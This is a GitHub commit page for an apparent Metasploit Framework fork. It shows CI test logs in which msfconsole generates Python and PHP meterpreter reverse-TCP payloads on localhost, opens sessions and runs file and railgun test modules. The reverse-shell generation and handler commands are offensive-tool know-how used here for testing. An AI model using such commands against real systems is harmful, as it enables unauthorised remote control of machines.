-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 17fc1df
Showing
4,682 changed files
with
2,946,302 additions
and
0 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
docs.metasploit.com |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions. | ||
[4mmsf6[0m [0m> loadpath test/modules | ||
Loaded 39 modules: | ||
14 auxiliary modules | ||
13 exploit modules | ||
12 post modules | ||
[4mmsf6[0m [0m> use python/meterpreter_reverse_tcp | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_session_tlv_logging20231122-1226-ie40aatxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> generate -o /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-python-meterpreter-reverse-tcp20231122-1226-v5g71s.py -f raw AutoVerifySessionTimeout=30 lport=6001 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_debug_log20231122-1226-s19eytxt MeterpreterTryToFork=false PythonMeterpreterDebug=true | ||
SessionTlvLogging => file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_session_tlv_logging20231122-1226-ie40aatxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> [*] Writing 24964 bytes to /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-python-meterpreter-reverse-tcp20231122-1226-v5g71s.py... | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> to_handler | ||
[*] Payload Handler Started as Job 0 | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> | ||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse TCP handler on 127.0.0.1:6001 | ||
[-] Meterpreter session 1 is not valid and will be closed | ||
[*] 127.0.0.1 - Meterpreter session 1 closed. | ||
[*] Meterpreter session 2 opened (127.0.0.1:6001 -> 127.0.0.1:49261) at 2023-11-22 22:11:26 +0000 | ||
resource scripts/resource/meterpreter_compatibility.rc | ||
[*] Processing /Users/runner/work/metasploit-framework/metasploit-framework/scripts/resource/meterpreter_compatibility.rc for ERB directives. | ||
[*] resource (/Users/runner/work/metasploit-framework/metasploit-framework/scripts/resource/meterpreter_compatibility.rc)> Ruby Code (1113 bytes) | ||
[2023-11-22 22:11:26 +0000][android] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][android] Failed loading | ||
[2023-11-22 22:11:26 +0000][appapi] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][appapi] Failed loading | ||
[2023-11-22 22:11:26 +0000][bofloader] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][bofloader] Failed loading | ||
[2023-11-22 22:11:26 +0000][espia] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][espia] Failed loading | ||
[2023-11-22 22:11:26 +0000][extapi] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][extapi] Failed loading | ||
[2023-11-22 22:11:26 +0000][incognito] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][incognito] Failed loading | ||
[2023-11-22 22:11:26 +0000][kiwi] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][kiwi] Failed loading | ||
[2023-11-22 22:11:26 +0000][lanattacks] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][lanattacks] Failed loading | ||
[2023-11-22 22:11:26 +0000][peinjector] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][peinjector] Failed loading | ||
[2023-11-22 22:11:26 +0000][powershell] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][powershell] Failed loading | ||
[2023-11-22 22:11:26 +0000][priv] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][priv] Failed loading | ||
[2023-11-22 22:11:26 +0000][python] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][python] Failed loading | ||
[2023-11-22 22:11:26 +0000][sniffer] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][sniffer] Failed loading | ||
[2023-11-22 22:11:26 +0000][stdapi] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][stdapi] Loaded extension | ||
[2023-11-22 22:11:26 +0000][unhook] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][unhook] Failed loading | ||
[2023-11-22 22:11:26 +0000][winpmem] Starting to loading extension | ||
[2023-11-22 22:11:26 +0000][winpmem] Failed loading | ||
[2023-11-22 22:11:26 +0000] Generating result: | ||
{"sessions":[{"session_type":"python/osx","commands":[{"id":1,"name":"core_channel_close"},{"id":2,"name":"core_channel_eof"},{"id":3,"name":"core_channel_interact"},{"id":4,"name":"core_channel_open"},{"id":5,"name":"core_channel_read"},{"id":6,"name":"core_channel_seek"},{"id":7,"name":"core_channel_tell"},{"id":8,"name":"core_channel_write"},{"id":10,"name":"core_enumextcmd"},{"id":11,"name":"core_get_session_guid"},{"id":12,"name":"core_loadlib"},{"id":13,"name":"core_machine_id"},{"id":15,"name":"core_native_arch"},{"id":16,"name":"core_negotiate_tlv_encryption"},{"id":17,"name":"core_patch_url"},{"id":21,"name":"core_set_session_guid"},{"id":22,"name":"core_set_uuid"},{"id":23,"name":"core_shutdown"},{"id":24,"name":"core_transport_add"},{"id":25,"name":"core_transport_change"},{"id":27,"name":"core_transport_list"},{"id":28,"name":"core_transport_next"},{"id":29,"name":"core_transport_prev"},{"id":30,"name":"core_transport_remove"},{"id":32,"name":"core_transport_set_timeouts"},{"id":33,"name":"core_transport_sleep"},{"id":1052,"name":"stdapi_sys_config_getenv"},{"id":1055,"name":"stdapi_sys_config_getuid"},{"id":1056,"name":"stdapi_sys_config_localtime"},{"id":1059,"name":"stdapi_sys_config_sysinfo"},{"id":1068,"name":"stdapi_sys_process_close"},{"id":1069,"name":"stdapi_sys_process_execute"},{"id":1072,"name":"stdapi_sys_process_getpid"},{"id":1077,"name":"stdapi_sys_process_kill"},{"id":1071,"name":"stdapi_sys_process_get_processes"},{"id":1001,"name":"stdapi_fs_chdir"},{"id":1003,"name":"stdapi_fs_delete_dir"},{"id":1004,"name":"stdapi_fs_delete_file"},{"id":1006,"name":"stdapi_fs_file_expand_path"},{"id":1007,"name":"stdapi_fs_file_move"},{"id":1005,"name":"stdapi_fs_file_copy"},{"id":1002,"name":"stdapi_fs_chmod"},{"id":1008,"name":"stdapi_fs_getwd"},{"id":1009,"name":"stdapi_fs_ls"},{"id":1010,"name":"stdapi_fs_md5"},{"id":1011,"name":"stdapi_fs_mkdir"},{"id":1013,"name":"stdapi_fs_search"},{"id":1014,"name":"stdapi_fs_separator"},{"id":1015,"name":"stdapi_fs_sha1"},{"id":1016,"name":"stdapi_fs_stat"},{"id":1019,"name":"stdapi_net_config_get_interfaces"},{"id":1022,"name":"stdapi_net_config_get_routes"},{"id":1024,"name":"stdapi_net_resolve_host"},{"id":1025,"name":"stdapi_net_resolve_hosts"},{"id":1026,"name":"stdapi_net_socket_tcp_shutdown"},{"id":1028,"name":"stdapi_railgun_api"},{"id":1029,"name":"stdapi_railgun_api_multi"},{"id":1030,"name":"stdapi_railgun_memread"},{"id":1031,"name":"stdapi_railgun_memwrite"},{"id":1118,"name":"stdapi_sys_process_set_term_size"},{"id":1052,"name":"stdapi_sys_config_getenv"},{"id":1055,"name":"stdapi_sys_config_getuid"},{"id":1056,"name":"stdapi_sys_config_localtime"},{"id":1059,"name":"stdapi_sys_config_sysinfo"},{"id":1068,"name":"stdapi_sys_process_close"},{"id":1069,"name":"stdapi_sys_process_execute"},{"id":1072,"name":"stdapi_sys_process_getpid"},{"id":1077,"name":"stdapi_sys_process_kill"},{"id":1071,"name":"stdapi_sys_process_get_processes"},{"id":1001,"name":"stdapi_fs_chdir"},{"id":1003,"name":"stdapi_fs_delete_dir"},{"id":1004,"name":"stdapi_fs_delete_file"},{"id":1006,"name":"stdapi_fs_file_expand_path"},{"id":1007,"name":"stdapi_fs_file_move"},{"id":1005,"name":"stdapi_fs_file_copy"},{"id":1002,"name":"stdapi_fs_chmod"},{"id":1008,"name":"stdapi_fs_getwd"},{"id":1009,"name":"stdapi_fs_ls"},{"id":1010,"name":"stdapi_fs_md5"},{"id":1011,"name":"stdapi_fs_mkdir"},{"id":1013,"name":"stdapi_fs_search"},{"id":1014,"name":"stdapi_fs_separator"},{"id":1015,"name":"stdapi_fs_sha1"},{"id":1016,"name":"stdapi_fs_stat"},{"id":1019,"name":"stdapi_net_config_get_interfaces"},{"id":1022,"name":"stdapi_net_config_get_routes"},{"id":1024,"name":"stdapi_net_resolve_host"},{"id":1025,"name":"stdapi_net_resolve_hosts"},{"id":1026,"name":"stdapi_net_socket_tcp_shutdown"},{"id":1028,"name":"stdapi_railgun_api"},{"id":1029,"name":"stdapi_railgun_api_multi"},{"id":1030,"name":"stdapi_railgun_memread"},{"id":1031,"name":"stdapi_railgun_memwrite"},{"id":1118,"name":"stdapi_sys_process_set_term_size"}]}]} | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> sessions -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - Meterpreter session 2 closed. | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> jobs -K | ||
Stopping all jobs... | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
use php/meterpreter_reverse_tcp | ||
Stopping all jobs... | ||
[4mmsf6[0m post([1m[31mtest/extapi[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/tmp/phpmeterpreter_reverse_tcp_session_tlv_logging20231122-3360-4itnx0txt | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> generate -o /tmp/child-process-rb-php-meterpreter-reverse-tcp20231122-3360-3pd2hx.php -f raw AutoVerifySessionTimeout=30 lport=6008 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/tmp/phpmeterpreter_reverse_tcp_debug_log20231122-3360-x7ddo2txt MeterpreterDebugBuild=true | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> SessionTlvLogging => file:/tmp/phpmeterpreter_reverse_tcp_session_tlv_logging20231122-3360-4itnx0txt | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> [*] Writing 34908 bytes to /tmp/child-process-rb-php-meterpreter-reverse-tcp20231122-3360-3pd2hx.php... | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> to_handler | ||
[*] Payload Handler Started as Job 7 | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> | ||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse TCP handler on 127.0.0.1:6008 | ||
[*] Meterpreter session 8 opened (127.0.0.1:6008 -> 127.0.0.1:41104) at 2023-11-22 22:10:29 +0000 | ||
use test/railgun | ||
[4mmsf6[0m post([1m[31mtest/railgun[0m) [0m> run session=8 AddEntropy=true Verbose=true | ||
[!] SESSION may not be compatible with this module: | ||
[!] * missing Meterpreter features: stdapi_railgun_api, stdapi_railgun_memread | ||
[*] Running against session 8 | ||
[*] Session type is meterpreter and platform is linux | ||
[*] SKIPPED: def test_api_function_calls_windows (session platform is not windows) | ||
[*] SKIPPED: def test_api_function_calls_libc (session does not support COMMAND_ID_STDAPI_RAILGUN_API) | ||
[*] SKIPPED: def test_api_function_file_info_windows (session platform is not windows) | ||
[*] Testing complete in 0.0 seconds | ||
[*] Passed: 3; Failed: 0; Skipped: 3 | ||
[*] Post module execution completed | ||
sessions -K | ||
[4mmsf6[0m post([1m[31mtest/railgun[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - Meterpreter session 8 closed. | ||
[4mmsf6[0m post([1m[31mtest/railgun[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
use php/meterpreter_reverse_tcp | ||
Stopping all jobs... | ||
[4mmsf6[0m post([1m[31mtest/unix[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/phpmeterpreter_reverse_tcp_session_tlv_logging20231122-66925-r7d50utxt | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> generate -o /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-php-meterpreter-reverse-tcp20231122-66925-gb952m.php -f raw AutoVerifySessionTimeout=30 lport=6010 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/phpmeterpreter_reverse_tcp_debug_log20231122-66925-mrjrrntxt MeterpreterDebugBuild=true | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> SessionTlvLogging => file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/phpmeterpreter_reverse_tcp_session_tlv_logging20231122-66925-r7d50utxt | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> [*] Writing 34953 bytes to /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-php-meterpreter-reverse-tcp20231122-66925-gb952m.php... | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> to_handler | ||
[*] Payload Handler Started as Job 9 | ||
[4mmsf6[0m payload([1m[31mphp/meterpreter_reverse_tcp[0m) [0m> | ||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse TCP handler on 127.0.0.1:6010 | ||
[*] Meterpreter session 10 opened (127.0.0.1:6010 -> 127.0.0.1:49468) at 2023-11-22 22:21:45 +0000 | ||
use test/file | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> run session=10 AddEntropy=true Verbose=true | ||
[*] Setup: changing working directory to tmp: /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/ | ||
[*] Setup: Creating clean directory | ||
[*] Creating directory meterpreter-test-dir-aknsmwlb | ||
[*] meterpreter-test-dir-aknsmwlb created | ||
[*] Setup: Now in /private/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/meterpreter-test-dir-aknsmwlb | ||
[*] Running against session 10 | ||
[*] Session type is meterpreter and platform is osx | ||
[*] [should write binary data] Writing 128000 bytes | ||
[*] [should write binary data] Finished in 0.085131 | ||
[+] should write binary data | ||
[*] [should read the binary data we just wrote] Read 65536 bytes | ||
[-] FAILED: should read the binary data we just wrote | ||
[+] should delete binary files | ||
[*] [should append binary data] expected: [222, 173, 190, 239] - ASCII-8BIT | ||
[*] [should append binary data] actual: [222, 173, 190, 239] - ASCII-8BIT | ||
[+] should append binary data | ||
[+] should expand home | ||
[+] should not expand non-isolated tilde | ||
[+] should not expand mid-string tilde | ||
[+] should not expand env vars with invalid naming | ||
[+] should expand multiple variables | ||
[+] should test for file existence | ||
[+] should create text files | ||
[+] should read the text we just wrote | ||
[+] should append text files | ||
[+] should delete text files | ||
[+] should move files | ||
[+] should test for directory existence | ||
[*] [should create directories] Creating directory meterpreter-test-dir | ||
[*] [should create directories] meterpreter-test-dir created | ||
[*] [should create directories] Creating directory meterpreter-test-dir/directory | ||
[*] [should create directories] meterpreter-test-dir/directory created | ||
[+] should create directories | ||
[+] should list the directory we just made | ||
[+] should recursively delete the directory we just made | ||
[*] [should delete a symbolic link target] Creating directory meterpreter-test-dir | ||
[*] [should delete a symbolic link target] meterpreter-test-dir created | ||
[+] should delete a symbolic link target | ||
[*] [should not recurse into symbolic link directories] Creating directory meterpreter-test-dir.1 | ||
[*] [should not recurse into symbolic link directories] meterpreter-test-dir.1 created | ||
[*] [should not recurse into symbolic link directories] Creating directory meterpreter-test-dir.2 | ||
[*] [should not recurse into symbolic link directories] meterpreter-test-dir.2 created | ||
[+] should not recurse into symbolic link directories | ||
[*] Testing complete in 2.0 seconds | ||
[-] Passed: 20; Failed: 1; Skipped: 0 | ||
[*] Cleanup: changing working directory back to /Users/runner/work/metasploit-framework/metasploit-framework | ||
[*] Post module execution completed | ||
sessions -K | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - Meterpreter session 10 closed. Reason: Died | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> |
Oops, something went wrong.